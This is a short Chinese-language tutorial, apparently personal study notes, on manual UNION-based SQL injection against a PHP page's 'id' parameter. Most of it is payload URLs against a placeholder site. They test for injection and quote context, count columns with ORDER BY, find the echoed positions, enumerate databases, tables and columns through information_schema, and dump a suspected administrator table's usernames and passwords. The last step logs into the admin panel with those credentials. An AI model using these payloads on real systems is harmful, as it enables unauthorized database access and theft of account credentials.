漏洞产生原因:
-
参数可控,比如更改参数页面会变换
-
参数能带入数据库查询
先改变参数比如
www.xxx.com/view/xx.php?id=1
www.xxx.com/view/xx.php?id=2 变化和1不同说明参数可控
www.xxx.com/view/xx.php?id=1 and+1=1
www.xxx.com/view/xx.php?id=1 and+1=2 如果没报错,说明我们这句话没有放到SQL语句执行
测试如下判断外部符号
www.xxx.com/view/xx.php?id =1'www.xxx.com/view/xx.php?id =1"
www.xxx.com/view/xx.php?id =1')
www.xxx.com/view/xx.php?id =1")
接下来按照外部是单引号的情况举例
使用 ?id=1' 操作语句 -- a
1.首先操作语句应该需要用来判断列数使用order by
www.xxx.com/view/xx.php?id=1' order by 11 -- a
判断列数,需要使用二分法 注意id=1
2.判断回显位置 因为sql语句显示报错内容为limit 0,1说明只显示一个内容,需要让id=-1'才行。
www.xxx.com/view/xx.php?id=-1'
union select 1,2,3,4,5,6,7,8,9,10,11 -- a
3.替换回显位置,比如这里是2,3,4回显数据
www.xxx.com/view/xx.php?id=-1'
union select 1,database(),version(),user(),5,6,7,8,9,10,11 -- a
4.接下来查询服务器上所有数据库名字 使用information_schema数据库
www.xxx.com/view/xx.php?id=-1'
union select 1,group_concat(SCHEMA_NAME),version(),user(),5,6,7,8,9,10,11
from information_schema.SCHEMATA-- a
5.接下来要去获取对应数据库中的表名 group_concat(table_name)
www.xxx.com/view/xx.php?id=-1'
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11
from information_schema.tables
where table_schema='数据库名字'-- a
6.分析表 举例:
-
经过分析:roots 很有可能是管理员表, goodsuser很有可能是商城的用户表
-
要想知道roots表中的字段名,需要使用information_schema这个库中的COLUMNS表
-
其中:
TABLE_SCHEMA:数据库
TABLE_NAME: 表名
COLUMN_NAME: 列名
www.xxx.com/view/xx.php?id=-1'
union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11
from information_schema.columns
where table_schema='数据库名字'
and table_name='roots'-- a
7.此时已获取roots表的字段,我们需要将这些数据读取出来
-
字段1,字段2,字段3对应相应表头,比如userName,userPwd,id等
-
字段过多但是回显位置不够时,分几段语句截取
www.xxx.com/view/xx.php?id=-1'
union select 1,字段1,字段2,字段3,5,6,7,8,9,10,11
from roots-- a
8. 可以通过之前信息收集的login.php登录管理员账号测试